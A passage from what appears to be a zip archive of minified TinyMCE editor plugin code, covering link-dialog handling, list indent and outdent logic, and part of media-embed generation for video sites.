n=e.settings.link_list;"string"==typeof
n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):"function"==typeof
n?n(t):t(n)}}function m(e,t,n){function r(e,n){return
n=n||[],tinymce.each(e,function(e){var
i={text:e.text||e.title};e.menu?i.menu=r(e.menu):(i.value=e.value,t&&t(i)),n.push(i)}),n}return
r(e,n||[])}function g(t){function n(e){var
t=d.find("#text");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),d.find("#href").value(e.control.value())}function
r(t){var
r=[];if(tinymce.each(e.dom.select("a:not([href])"),function(e){var
n=e.name||e.id;n&&r.push({text:n,value:"#"+n,selected:t.indexOf("#"+n)!=-1})}),r.length)return
r.unshift({text:"None",value:""}),{name:"anchor",type:"listbox",label:"Anchors",values:r,onselect:n}}function
i(){!u&&0===w.text.length&&f&&this.parent().parent().find("#text")[0].value(this.value())}function
o(t){var
n=t.meta||{};g&&g.value(e.convertURL(this.value(),"href")),tinymce.each(t.meta,function(e,t){var
n=d.find("#"+t);"text"===t?0===u.length&&(n.value(e),w.text=e):n.value(e)}),n.attach&&(h={href:this.value(),attach:n.attach}),n.text||i.call(this)}function
a(e){var t=N.getContent();if(/</.test(t)&&(!/^<a
[^>]+>[^<]+<\/a>$/.test(t)||t.indexOf("href=")==-1))return!1;if(e){var
n,r=e.childNodes;if(0===r.length)return!1;for(n=r.length-1;n>=0;n--)if(3!=r[n].nodeType)return!1}return!0}function
s(e){e.meta=d.toJSON()}var
l,c,u,d,f,p,g,v,b,y,x,C,w={},N=e.selection,k=e.dom;l=N.getNode(),c=k.getParent(l,"a[href]"),f=a(),w.text=u=c?c.innerText||c.textContent:N.getContent({format:"text"}),w.href=c?k.getAttrib(c,"href"):"",c?w.target=k.getAttrib(c,"target"):e.settings.default_link_target&&(w.target=e.settings.default_link_target),(C=k.getAttrib(c,"rel"))&&(w.rel=C),(C=k.getAttrib(c,"class"))&&(w["class"]=C),(C=k.getAttrib(c,"title"))&&(w.title=C),f&&(p={name:"text",type:"textbox",size:40,label:"Text
to
display",onchange:function(){w.text=this.value()}}),t&&(g={type:"listbox",label:"Link
list",values:m(t,function(t){t.value=e.convertURL(t.value||t.url,"href")},[{text:"None",value:""}]),onselect:n,value:e.convertURL(w.href,"href"),onPostRender:function(){g=this}}),e.settings.target_list!==!1&&(e.settings.target_list||(e.settings.target_list=[{text:"None",value:""},{text:"New
window",value:"_blank"}]),b={name:"target",type:"listbox",label:"Target",values:m(e.settings.target_list)}),e.settings.rel_list&&(v={name:"rel",type:"listbox",label:"Rel",values:m(e.settings.rel_list)}),e.settings.link_class_list&&(y={name:"class",type:"listbox",label:"Class",values:m(e.settings.link_class_list,function(t){t.value&&(t.textStyle=function(){return
e.formatter.getCssText({inline:"a",classes:[t.value]})})})}),e.settings.link_title!==!1&&(x={name:"title",type:"textbox",label:"Title",value:w.title}),d=e.windowManager.open({title:"Insert
link",data:w,body:[{name:"href",type:"filepicker",filetype:"file",size:40,autofocus:!0,label:"Url",onchange:o,onkeyup:i,onbeforecall:s},p,x,r(w.href),g,v,b,y],onSubmit:function(t){function
n(t,n){var
r=e.selection.getRng();tinymce.util.Delay.setEditorTimeout(e,function(){e.windowManager.confirm(t,function(t){e.selection.setRng(r),n(t)})})}function
r(e,t){function n(e){return e=r(e),e?[e,i].join(" "):i}function
r(e){var t=new RegExp("("+i.replace("
","|")+")","g");return
e&&(e=tinymce.trim(e.replace(t,""))),e?e:null}var
i="noopener noreferrer";return t?n(e):r(e)}function i(){var
t={href:a,target:w.target?w.target:null,rel:w.rel?w.rel:null,"class":w["class"]?w["class"]:null,title:w.title?w.title:null};e.settings.allow_unsafe_link_target||(t.rel=r(t.rel,"_blank"==t.target)),a===h.href&&(h.attach(),h={}),c?(e.focus(),f&&w.text!=u&&("innerText"in
c?c.innerText=w.text:c.textContent=w.text),k.setAttribs(c,t),N.select(c),e.undoManager.add()):f?e.insertContent(k.createHTML("a",t,k.encode(w.text))):e.execCommand("mceInsertLink",!1,t)}function
o(){e.undoManager.transact(i)}var a;return
w=tinymce.extend(w,t.data),(a=w.href)?a.indexOf("@")>0&&a.indexOf("//")==-1&&a.indexOf("mailto:")==-1?void
n("The URL you entered seems to be an email address. Do you want to
add the required mailto:
prefix?",function(e){e&&(a="mailto:"+a),o()}):e.settings.link_assume_external_targets&&!/^\w+:/i.test(a)||!e.settings.link_assume_external_targets&&/^\s*www[\.|\d\.]/i.test(a)?void
n("The URL you entered seems to be an external link. Do you want to
add the required http://
prefix?",function(e){e&&(a="http://"+a),o()}):void
o():void e.execCommand("unlink")}})}var h={},v=function(e){return
e.altKey===!0&&e.shiftKey===!1&&e.ctrlKey===!1&&e.metaKey===!1};e.addButton("link",{icon:"link",tooltip:"Insert/edit
link",shortcut:"Meta+K",onclick:p(g),stateSelector:"a[href]"}),e.addButton("unlink",{icon:"unlink",tooltip:"Remove
link",cmd:"unlink",stateSelector:"a[href]"}),e.addContextToolbar&&(e.addButton("openlink",{icon:"newtab",tooltip:"Open
link",onclick:d}),e.addContextToolbar(s,"openlink | link
unlink")),e.addShortcut("Meta+K","",p(g)),e.addCommand("mceLink",p(g)),e.on("click",function(e){var
t=r(e.target);t&&tinymce.util.VK.metaKeyPressed(e)&&(e.preventDefault(),u(t))}),e.on("keydown",function(e){var
t=i();t&&13===e.keyCode&&v(e)&&(e.preventDefault(),u(t))}),this.showDialog=g,e.addMenuItem("openlink",{text:"Open
link",icon:"newtab",onclick:d,onPostRender:f,prependToContext:!0}),e.addMenuItem("link",{icon:"link",text:"Link",shortcut:"Meta+K",onclick:p(g),stateSelector:"a[href]",context:"insert",prependToContext:!0})});PKT��[���(9(9#tinymce/plugins/lists/plugin.min.jsnu�[���!function(){var
e={},t=function(t){for(var n=e[t],i=n.deps,o=n.defn,a=i.length,s=new
Array(a),l=0;l<a;++l)s[l]=r(i[l]);var c=o.apply(null,s);if(void
0===c)throw"module ["+t+"] returned
undefined";n.instance=c},n=function(t,n,r){if("string"!=typeof
t)throw"module id must be a string";if(void 0===n)throw"no
dependencies for "+t;if(void 0===r)throw"no definition function
for "+t;e[t]={deps:n,defn:r,instance:void 0}},r=function(n){var
r=e[n];if(void 0===r)throw"module ["+n+"] was
undefined";return void
0===r.instance&&t(n),r.instance},i=function(e,t){for(var
n=e.length,i=new
Array(n),o=0;o<n;++o)i[o]=r(e[o]);t.apply(null,i)},o={};o.bolt={module:{api:{define:n,require:i,demand:r}}};var
a=n,s=function(e,t){a(e,[],function(){return
t})};s("1",tinymce.PluginManager),s("2",tinymce.util.Tools),s("3",tinymce.util.VK),a("4",[],function(){var
e=function(e){return e&&3===e.nodeType},t=function(e){return
e&&/^(OL|UL|DL)$/.test(e.nodeName)},n=function(e){return
e&&/^(LI|DT|DD)$/.test(e.nodeName)},r=function(e){return
e&&"BR"===e.nodeName},i=function(e){return
e.parentNode.firstChild===e},o=function(e){return
e.parentNode.lastChild===e},a=function(e,t){return
t&&!!e.schema.getTextBlockElements()[t.nodeName]},s=function(e,t){return!!r(t)&&!(!e.isBlock(t.nextSibling)||r(t.previousSibling))},l=function(e,t,n){var
r=e.isEmpty(t);return!(n&&e.select("span[data-mce-type=bookmark]",t).length>0)&&r},c=function(e,t){return
e.isChildOf(t,e.getRoot())};return{isTextNode:e,isListNode:t,isListItemNode:n,isBr:r,isFirstChild:i,isLastChild:o,isTextBlock:a,isBogusBr:s,isEmpty:l,isChildOfBody:c}}),s("9",tinymce.dom.TreeWalker),s("a",tinymce.dom.RangeUtils),a("b",["2","4"],function(e,t){var
n=function(n){return
e.grep(n.selection.getSelectedBlocks(),function(e){return
t.isListItemNode(e)})};return{getSelectedListItems:n}}),s("h",tinymce.dom.DOMUtils.DOM),a("d",["a","4"],function(e,t){var
n=function(n,r){var
i=e.getNode(n,r);if(t.isListItemNode(n)&&t.isTextNode(i)){var
o=r>=n.childNodes.length?i.data.length:0;return{container:i,offset:o}}return{container:n,offset:r}},r=function(e){var
t=e.cloneRange(),r=n(e.startContainer,e.startOffset);t.setStart(r.container,r.offset);var
i=n(e.endContainer,e.endOffset);return
t.setEnd(i.container,i.offset),t};return{getNormalizedEndPoint:n,normalizeRange:r}}),a("c",["h","4","d"],function(e,t,n){var
r=function(t){var n={},r=function(r){var
i,o,a;o=t[r?"startContainer":"endContainer"],a=t[r?"startOffset":"endOffset"],1===o.nodeType&&(i=e.create("span",{"data-mce-type":"bookmark"}),o.hasChildNodes()?(a=Math.min(a,o.childNodes.length-1),r?o.insertBefore(i,o.childNodes[a]):e.insertAfter(i,o.childNodes[a])):o.appendChild(i),o=i,a=0),n[r?"startContainer":"endContainer"]=o,n[r?"startOffset":"endOffset"]=a};return
r(!0),t.collapsed||r(),n},i=function(t){function r(n){var
r,i,o,a=function(e){for(var
t=e.parentNode.firstChild,n=0;t;){if(t===e)return
n;1===t.nodeType&&"bookmark"===t.getAttribute("data-mce-type")||n++,t=t.nextSibling}return-1};r=o=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"],r&&(1===r.nodeType&&(i=a(r),r=r.parentNode,e.remove(o)),t[n?"startContainer":"endContainer"]=r,t[n?"startOffset":"endOffset"]=i)}r(!0),r();var
i=e.createRng();return
i.setStart(t.startContainer,t.startOffset),t.endContainer&&i.setEnd(t.endContainer,t.endOffset),n.normalizeRange(i)};return{createBookmark:r,resolveBookmark:i}}),a("e",["h","2","4"],function(e,t,n){var
r=function(t,r){var
i,o=r.parentNode;"LI"===o.nodeName&&o.firstChild===r&&(i=o.previousSibling,i&&"LI"===i.nodeName?(i.appendChild(r),n.isEmpty(t,o)&&e.remove(o)):e.setStyle(o,"listStyleType","none")),n.isListNode(o)&&(i=o.previousSibling,i&&"LI"===i.nodeName&&i.appendChild(r))},i=function(e,n){t.each(t.grep(e.select("ol,ul",n)),function(t){r(e,t)})};return{normalizeList:r,normalizeLists:i}}),s("f",tinymce.dom.BookmarkManager),s("j",tinymce.Env),a("i",["h","j"],function(e,t){var
n=function(n,r,i){var
o,a,s,l=e.createFragment(),c=n.schema.getBlockElements();if(n.settings.forced_root_block&&(i=i||n.settings.forced_root_block),i&&(a=e.create(i),a.tagName===n.settings.forced_root_block&&e.setAttribs(a,n.settings.forced_root_block_attrs),l.appendChild(a)),r)for(;o=r.firstChild;){var
u=o.nodeName;s||"SPAN"===u&&"bookmark"===o.getAttribute("data-mce-type")||(s=!0),c[u]?(l.appendChild(o),a=null):i?(a||(a=e.create(i),l.appendChild(a)),a.appendChild(o)):l.appendChild(o)}return
n.settings.forced_root_block?s||t.ie&&!(t.ie>10)||a.appendChild(e.create("br",{"data-mce-bogus":"1"})):l.appendChild(e.create("br")),l};return{createNewTextBlock:n}}),a("g",["h","2","i","4"],function(e,t,n,r){var
i=function(i,o,a,s){var
l,c,u,d,f=function(n){t.each(u,function(e){n.parentNode.insertBefore(e,a.parentNode)}),e.remove(n)};for(u=e.select('span[data-mce-type="bookmark"]',o),s=s||n.createNewTextBlock(i,a),l=e.createRng(),l.setStartAfter(a),l.setEndAfter(o),c=l.extractContents(),d=c.firstChild;d;d=d.firstChild)if("LI"===d.nodeName&&i.dom.isEmpty(d)){e.remove(d);break}i.dom.isEmpty(c)||e.insertAfter(c,o),e.insertAfter(s,o),r.isEmpty(i.dom,a.parentNode)&&f(a.parentNode),e.remove(a),r.isEmpty(i.dom,o)&&e.remove(o)};return{splitList:i}}),a("7",["h","4","c","b","g","e","i"],function(e,t,n,r,i,o,a){var
s=function(n,r){t.isEmpty(n,r)&&e.remove(r)},l=function(n,r){var
l,c=r.parentNode,u=c.parentNode;return
c===n.getBody()||("DD"===r.nodeName?(e.rename(r,"DT"),!0):t.isFirstChild(r)&&t.isLastChild(r)?("LI"===u.nodeName?(e.insertAfter(r,u),s(n.dom,u),e.remove(c)):t.isListNode(u)?e.remove(c,!0):(u.insertBefore(a.createNewTextBlock(n,r),c),e.remove(c)),!0):t.isFirstChild(r)?("LI"===u.nodeName?(e.insertAfter(r,u),r.appendChild(c),s(n.dom,u)):t.isListNode(u)?u.insertBefore(r,c):(u.insertBefore(a.createNewTextBlock(n,r),c),e.remove(r)),!0):t.isLastChild(r)?("LI"===u.nodeName?e.insertAfter(r,u):t.isListNode(u)?e.insertAfter(r,c):(e.insertAfter(a.createNewTextBlock(n,r),c),e.remove(r)),!0):("LI"===u.nodeName?(c=u,l=a.createNewTextBlock(n,r,"LI")):l=t.isListNode(u)?a.createNewTextBlock(n,r,"LI"):a.createNewTextBlock(n,r),i.splitList(n,c,r,l),o.normalizeLists(n.dom,c.parentNode),!0))},c=function(e){var
t=r.getSelectedListItems(e);if(t.length){var
i,o,a=n.createBookmark(e.selection.getRng(!0)),s=e.getBody();for(i=t.length;i--;)for(var
c=t[i].parentNode;c&&c!==s;){for(o=t.length;o--;)if(t[o]===c){t.splice(i,1);break}c=c.parentNode}for(i=0;i<t.length&&(l(e,t[i])||0!==i);i++);return
e.selection.setRng(n.resolveBookmark(a)),e.nodeChanged(),!0}};return{outdent:l,outdentSelection:c}}),a("8",["2","f","b","4","c","g","e","7"],function(e,t,n,r,i,o,a,s){var
l=function(e,t,n){var
r=n["list-style-type"]?n["list-style-type"]:null;e.setStyle(t,"list-style-type",r)},c=function(t,n){e.each(n,function(e,n){t.setAttribute(n,e)})},u=function(t,n,r){c(n,r["list-attributes"]),e.each(t.select("li",n),function(e){c(e,r["list-item-attributes"])})},d=function(e,t,n){l(e,t,n),u(e,t,n)},f=function(e,t,n){var
i,o,a=e.getBody();for(i=t[n?"startContainer":"endContainer"],o=t[n?"startOffset":"endOffset"],1===i.nodeType&&(i=i.childNodes[Math.min(o,i.childNodes.length-1)]||i);i.parentNode!==a;){if(r.isTextBlock(e,i))return
i;if(/^(TD|TH)$/.test(i.parentNode.nodeName))return i;i=i.parentNode}return
i},p=function(n,i){for(var
o,a=[],s=n.getBody(),l=n.dom,c=f(n,i,!0),u=f(n,i,!1),d=[],p=c;p&&(d.push(p),p!==u);p=p.nextSibling);return
e.each(d,function(e){if(r.isTextBlock(n,e))return
a.push(e),void(o=null);if(l.isBlock(e)||r.isBr(e))return
r.isBr(e)&&l.remove(e),void(o=null);var i=e.nextSibling;return
t.isBookmarkNode(e)&&(r.isTextBlock(n,i)||!i&&e.parentNode===s)?void(o=null):(o||(o=l.create("p"),e.parentNode.insertBefore(o,e),a.push(o)),void
o.appendChild(e))}),a},m=function(t,n,o){var
a,s=t.selection.getRng(!0),l="LI",c=t.dom;o=o?o:{},"false"!==c.getContentEditable(t.selection.getNode())&&(n=n.toUpperCase(),"DL"===n&&(l="DT"),a=i.createBookmark(s),e.each(p(t,s),function(e){var
i,a,s=function(e){var
t=c.getStyle(e,"list-style-type"),n=o?o["list-style-type"]:"";return
n=null===n?"":n,t===n};a=e.previousSibling,a&&r.isListNode(a)&&a.nodeName===n&&s(a)?(i=a,e=c.rename(e,l),a.appendChild(e)):(i=c.create(n),e.parentNode.insertBefore(i,e),i.appendChild(e),e=c.rename(e,l)),d(c,i,o),x(t.dom,i)}),t.selection.setRng(i.resolveBookmark(a)))},g=function(t){var
l=i.createBookmark(t.selection.getRng(!0)),c=t.getBody(),u=n.getSelectedListItems(t),d=e.grep(u,function(e){return
t.dom.isEmpty(e)});u=e.grep(u,function(e){return!t.dom.isEmpty(e)}),e.each(d,function(e){if(r.isEmpty(t.dom,e))return
void s.outdent(t,e)}),e.each(u,function(e){var
n,i;if(e.parentNode!==t.getBody()){for(n=e;n&&n!==c;n=n.parentNode)r.isListNode(n)&&(i=n);o.splitList(t,i,e),a.normalizeLists(t.dom,i.parentNode)}}),t.selection.setRng(i.resolveBookmark(l))},h=function(e,t){return
e&&t&&r.isListNode(e)&&e.nodeName===t.nodeName},v=function(e,t,n){var
r=e.getStyle(t,"list-style-type",!0),i=e.getStyle(n,"list-style-type",!0);return
r===i},b=function(e,t){return
e.className===t.className},y=function(e,t,n){return
h(t,n)&&v(e,t,n)&&b(t,n)},x=function(e,t){var
n,r;if(n=t.nextSibling,y(e,t,n)){for(;r=n.firstChild;)t.appendChild(r);e.remove(n)}if(n=t.previousSibling,y(e,t,n)){for(;r=n.lastChild;)t.insertBefore(r,t.firstChild);e.remove(n)}},C=function(e,t,n){var
r=e.dom.getParent(e.selection.getStart(),"OL,UL,DL");if(n=n?n:{},r!==e.getBody())if(r)if(r.nodeName===t)g(e,t);else{var
o=i.createBookmark(e.selection.getRng(!0));d(e.dom,r,n),x(e.dom,e.dom.rename(r,t)),e.selection.setRng(i.resolveBookmark(o))}else
m(e,t,n)};return{toggleList:C,removeList:g,mergeWithAdjacentLists:x}}),a("5",["9","a","3","b","4","c","d","e","8"],function(e,t,n,r,i,o,a,s,l){var
c=function(n,r,o){var
a,s,l=r.startContainer,c=r.startOffset;if(3===l.nodeType&&(o?c<l.data.length:c>0))return
l;for(a=n.schema.getNonEmptyElements(),1===l.nodeType&&(l=t.getNode(l,c)),s=new
e(l,n.getBody()),o&&i.isBogusBr(n.dom,l)&&s.next();l=s[o?"next":"prev2"]();){if("LI"===l.nodeName&&!l.hasChildNodes())return
l;if(a[l.nodeName])return
l;if(3===l.nodeType&&l.data.length>0)return
l}},u=function(e,t,n){var
r,o,a=t.parentNode;if(i.isChildOfBody(e,t)&&i.isChildOfBody(e,n)){if(i.isListNode(n.lastChild)&&(o=n.lastChild),a===n.lastChild&&i.isBr(a.previousSibling)&&e.remove(a.previousSibling),r=n.lastChild,r&&i.isBr(r)&&t.hasChildNodes()&&e.remove(r),i.isEmpty(e,n,!0)&&e.$(n).empty(),!i.isEmpty(e,t,!0))for(;r=t.firstChild;)n.appendChild(r);o&&n.appendChild(o),e.remove(t),i.isEmpty(e,a)&&a!==e.getRoot()&&e.remove(a)}},d=function(e,t){var
n,r,s,d=e.dom,f=e.selection,p=d.getParent(f.getStart(),"LI");if(p){if(n=p.parentNode,n===e.getBody()&&i.isEmpty(d,n))return!0;if(r=a.normalizeRange(f.getRng(!0)),s=d.getParent(c(e,r,t),"LI"),s&&s!==p){var
m=o.createBookmark(r);return
t?u(d,s,p):u(d,p,s),e.selection.setRng(o.resolveBookmark(m)),!0}if(!s&&!t&&l.removeList(e,n.nodeName))return!0}return!1},f=function(e,t){var
n=e.dom,r=n.getParent(e.selection.getStart(),n.isBlock);if(r&&n.isEmpty(r)){var
i=a.normalizeRange(e.selection.getRng(!0)),o=n.getParent(c(e,i,t),"LI");if(o)return
e.undoManager.transact(function(){n.remove(r),l.mergeWithAdjacentLists(n,o.parentNode),e.selection.select(o,!0),e.selection.collapse(t)}),!0}return!1},p=function(e,t){return
d(e,t)||f(e,t)},m=function(e){var
t=e.dom.getParent(e.selection.getStart(),"LI,DT,DD");return!!(t||r.getSelectedListItems(e).length>0)&&(e.undoManager.transact(function(){e.execCommand("Delete"),s.normalizeLists(e.dom,e.getBody())}),!0)},g=function(e,t){return
e.selection.isCollapsed()?p(e,t):m(e)},h=function(e){e.on("keydown",function(t){t.keyCode===n.BACKSPACE?g(e,!1)&&t.preventDefault():t.keyCode===n.DELETE&&g(e,!0)&&t.preventDefault()})};return{setup:h,backspaceDelete:g}}),a("6",["h","4","c","b"],function(e,t,n,r){var
i=function(n,r){var
i;if(t.isListNode(n)){for(;i=n.firstChild;)r.appendChild(i);e.remove(n)}},o=function(n){var
r,o,a;return"DT"===n.nodeName?(e.rename(n,"DD"),!0):(r=n.previousSibling,r&&t.isListNode(r)?(r.appendChild(n),!0):r&&"LI"===r.nodeName&&t.isListNode(r.lastChild)?(r.lastChild.appendChild(n),i(n.lastChild,r.lastChild),!0):(r=n.nextSibling,r&&t.isListNode(r)?(r.insertBefore(n,r.firstChild),!0):(r=n.previousSibling,!(!r||"LI"!==r.nodeName)&&(o=e.create(n.parentNode.nodeName),a=e.getStyle(n.parentNode,"listStyleType"),a&&e.setStyle(o,"listStyleType",a),r.appendChild(o),o.appendChild(n),i(n.lastChild,o),!0))))},a=function(e){var
t=r.getSelectedListItems(e);if(t.length){for(var
i=n.createBookmark(e.selection.getRng(!0)),a=0;a<t.length&&(o(t[a])||0!==a);a++);return
e.selection.setRng(n.resolveBookmark(i)),e.nodeChanged(),!0}};return{indentSelection:a}}),a("0",["1","2","3","4","5","6","7","8"],function(e,t,n,r,i,o,a,s){var
l=function(e,t){return function(){var
n=e.dom.getParent(e.selection.getStart(),"UL,OL,DL");return
n&&n.nodeName===t}},c=function(e){e.on("BeforeExecCommand",function(t){var
n,r=t.command.toLowerCase();if("indent"===r?o.indentSelection(e)&&(n=!0):"outdent"===r&&a.outdentSelection(e)&&(n=!0),n)return
e.fire("ExecCommand",{command:t.command}),t.preventDefault(),!0}),e.addCommand("InsertUnorderedList",function(t,n){s.toggleList(e,"UL",n)}),e.addCommand("InsertOrderedList",function(t,n){s.toggleList(e,"OL",n)}),e.addCommand("InsertDefinitionList",function(t,n){s.toggleList(e,"DL",n)})},u=function(e){e.addQueryStateHandler("InsertUnorderedList",l(e,"UL")),e.addQueryStateHandler("InsertOrderedList",l(e,"OL")),e.addQueryStateHandler("InsertDefinitionList",l(e,"DL"))},d=function(e){e.on("keydown",function(t){9!==t.keyCode||n.metaKeyPressed(t)||e.dom.getParent(e.selection.getStart(),"LI,DT,DD")&&(t.preventDefault(),t.shiftKey?a.outdentSelection(e):o.indentSelection(e))})},f=function(e){var
n=function(n){return function(){var
i=this;e.on("NodeChange",function(e){var
o=t.grep(e.parents,r.isListNode);i.active(o.length>0&&o[0].nodeName===n)})}},i=function(e,n){var
r=e.settings.plugins?e.settings.plugins:"";return
t.inArray(r.split(/[
,]/),n)!==-1};i(e,"advlist")||(e.addButton("numlist",{title:"Numbered
list",cmd:"InsertOrderedList",onPostRender:n("OL")}),e.addButton("bullist",{title:"Bullet
list",cmd:"InsertUnorderedList",onPostRender:n("UL")})),e.addButton("indent",{icon:"indent",title:"Increase
indent",cmd:"Indent",onPostRender:function(t){var
n=t.control;e.on("nodechange",function(){for(var
t=e.selection.getSelectedBlocks(),i=!1,o=0,a=t.length;!i&&o<a;o++){var
s=t[o].nodeName;i="LI"===s&&r.isFirstChild(t[o])||"UL"===s||"OL"===s||"DD"===s}n.disabled(i)})}})};return
e.add("lists",function(e){return
f(e),i.setup(e),e.on("init",function(){c(e),u(e),d(e)}),{backspaceDelete:function(t){i.backspaceDelete(e,t)}}}),function(){}}),r("0")()}();PKT��[D�k;A@A@#tinymce/plugins/media/plugin.min.jsnu�[���!function(){var
e={},t=function(t){for(var n=e[t],i=n.deps,o=n.defn,a=i.length,s=new
Array(a),l=0;l<a;++l)s[l]=r(i[l]);var c=o.apply(null,s);if(void
0===c)throw"module ["+t+"] returned
undefined";n.instance=c},n=function(t,n,r){if("string"!=typeof
t)throw"module id must be a string";if(void 0===n)throw"no
dependencies for "+t;if(void 0===r)throw"no definition function
for "+t;e[t]={deps:n,defn:r,instance:void 0}},r=function(n){var
r=e[n];if(void 0===r)throw"module ["+n+"] was
undefined";return void
0===r.instance&&t(n),r.instance},i=function(e,t){for(var
n=e.length,i=new
Array(n),o=0;o<n;++o)i[o]=r(e[o]);t.apply(null,i)},o={};o.bolt={module:{api:{define:n,require:i,demand:r}}};var
a=n,s=function(e,t){a(e,[],function(){return
t})};s("1",tinymce.PluginManager),s("6",tinymce.util.Delay),s("e",tinymce.util.Tools),s("9",tinymce.html.SaxParser),s("a",tinymce.html.Schema),s("b",tinymce.dom.DOMUtils.DOM),a("h",[],function(){var
e=function(e,t){if(e)for(var
n=0;n<e.length;n++)if(t.indexOf(e[n].filter)!==-1)return
e[n]};return{getVideoScriptMatch:e}}),a("c",[],function(){var
e=function(e){return
e.replace(/px$/,"")},t=function(e){return/^[0-9.]+$/.test(e)?e+"px":e},n=function(t){return
function(n){return n?e(n.style[t]):""}},r=function(e){return
function(n,r){n&&(n.style[e]=t(r))}};return{getMaxWidth:n("maxWidth"),getMaxHeight:n("maxHeight"),setMaxWidth:r("maxWidth"),setMaxHeight:r("maxHeight")}}),a("7",["e","9","a","b","h","c"],function(e,t,n,r,i,o){var
a=function(e){return
r.getAttrib(e,"data-ephox-embed-iri")},s=function(e){var
t=r.createFragment(e);return""!==a(t.firstChild)},l=function(n,r){var
o={};return new
t({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(t,r){if(o.source1||"param"!==t||(o.source1=r.map.movie),"iframe"!==t&&"object"!==t&&"embed"!==t&&"video"!==t&&"audio"!==t||(o.type||(o.type=t),o=e.extend(r.map,o)),"script"===t){var
a=i.getVideoScriptMatch(n,r.map.src);if(!a)return;o={type:"script",source1:r.map.src,width:a.width,height:a.height}}"source"===t&&(o.source1?o.source2||(o.source2=r.map.src):o.source1=r.map.src),"img"!==t||o.poster||(o.poster=r.map.src)}}).parse(r),o.source1=o.source1||o.src||o.data,o.source2=o.source2||"",o.poster=o.poster||"",o},c=function(e){var
t=r.createFragment(e),n=t.firstChild;return{type:"ephox-embed-iri",source1:a(n),source2:"",poster:"",width:o.getMaxWidth(n),height:o.getMaxHeight(n)}},u=function(e,t){return
s(t)?c(t):l(e,t)};return{htmlToData:u}}),s("8",tinymce.html.Writer),a("4",["8","9","a","b","c"],function(e,t,n,r,i){var
o=function(e,t){var n,r,i,o;for(n in
t)if(i=""+t[n],e.map[n])for(r=e.length;r--;)o=e[r],o.name===n&&(i?(e.map[n]=i,o.value=i):(delete
e.map[n],e.splice(r,1)));else
i&&(e.push({name:n,value:i}),e.map[n]=i)},a=function(n){var r=new
e,i=new t(r);return i.parse(n),r.getContent()},s=function(r,i,a){var
s,l=new e,c=0;return new
t({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,n){switch(e){case"video":case"object":case"embed":case"img":case"iframe":o(t,{width:i.width,height:i.height})}if(a)switch(e){case"video":o(t,{poster:i.poster,src:""}),i.source2&&o(t,{src:""});break;case"iframe":o(t,{src:i.source1});break;case"source":if(c++,c<=2&&(o(t,{src:i["source"+c],type:i["source"+c+"mime"]}),!i["source"+c]))return;break;case"img":if(!i.poster)return;s=!0}l.start(e,t,n)},end:function(e){if("video"===e&&a)for(var
t=1;t<=2;t++)if(i["source"+t]){var
n=[];n.map={},c<t&&(o(n,{src:i["source"+t],type:i["source"+t+"mime"]}),l.start("source",n,!0))}if(i.poster&&"object"===e&&a&&!s){var
r=[];r.map={},o(r,{src:i.poster,width:i.width,height:i.height}),l.start("img",r,!0)}l.end(e)}},new
n({})).parse(r),l.getContent()},l=function(e){var
t=r.createFragment(e);return""!==r.getAttrib(t.firstChild,"data-ephox-embed-iri")},c=function(e,t){var
n=r.createFragment(e),o=n.firstChild;return
i.setMaxWidth(o,t.width),i.setMaxHeight(o,t.height),a(o.outerHTML)},u=function(e,t,n){return
l(e)?c(e,t):s(e,t,n)};return{updateHtml:u}}),a("l",[],function(){var
e=function(e){var
t={mp3:"audio/mpeg",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"},n=e.toLowerCase().split(".").pop(),r=t[n];return
r?r:""};return{guess:e}}),a("m",[],function(){var
e=[{regex:/youtu\.be\/([\w\-.]+)/,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&]+)/,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$2",allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\-_]+(?:\?.+)?)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc",allowfullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$2?title=0&amp;byline=0",allowfullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'//maps.google.com/maps/ms?msid=$2&output=embed"',allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0}];return{urlPatterns:e}}),a("j",["l","7","m","h","4","e"],function(e,t,n,r,i,o){var
a=function(a,s){var
l="",c=o.extend({},s);if(!c.source1&&(o.extend(c,t.htmlToData(a.settings.media_scripts,c.embed)),!c.source1))return"";if(c.source2||(c.source2=""),c.poster||(c.poster=""),c.source1=a.convertURL(c.source1,"source"),c.source2=a.convertURL(c.source2,"source"),c.source1mime=e.guess(c.source1),c.source2mime=e.guess(c.source2),c.poster=a.convertURL(c.poster,"poster"),o.each(n.urlPatterns,function(e){var
t,n,r=e.regex.exec(c.source1);if(r){for(n=e.url,t=0;r[t];t++)n=n.replace("$"+t,function(){return
r[t]});c.source1=n,c.type=e.type,c.allowFullscreen=e.allowFullscreen,c.width=c.width||e.w,c.height=c.height||e.h}}),c.embed)l=i.updateHtml(c.embed,c,!0);else{var
u=r.getVideoScriptMatch(a.settings.media_scripts,c.source1);if(u&&(c.type="script",c.width=u.width,c.height=u.height),c.width=c.width||300,c.height=c.height||150,o.each(c,function(e,t){c[t]=a.dom.encode(e)}),"iframe"===c.type){var
d=c.allowFullscreen?'
allowFullscreen="1"':"";l+='<iframe
src="'+c.source1+'"
width="'+c.width+'"
height="'+c.height+'"'+d+"></iframe>"}else"application/x-shockwave-flash"===c.source1mime?(l+='<object
data="'+c.source1+'"
width="'+c.width+'"
height="'+c.height+'"
type="application/x-shockwave-flash">',c.poster&&(l+='<img
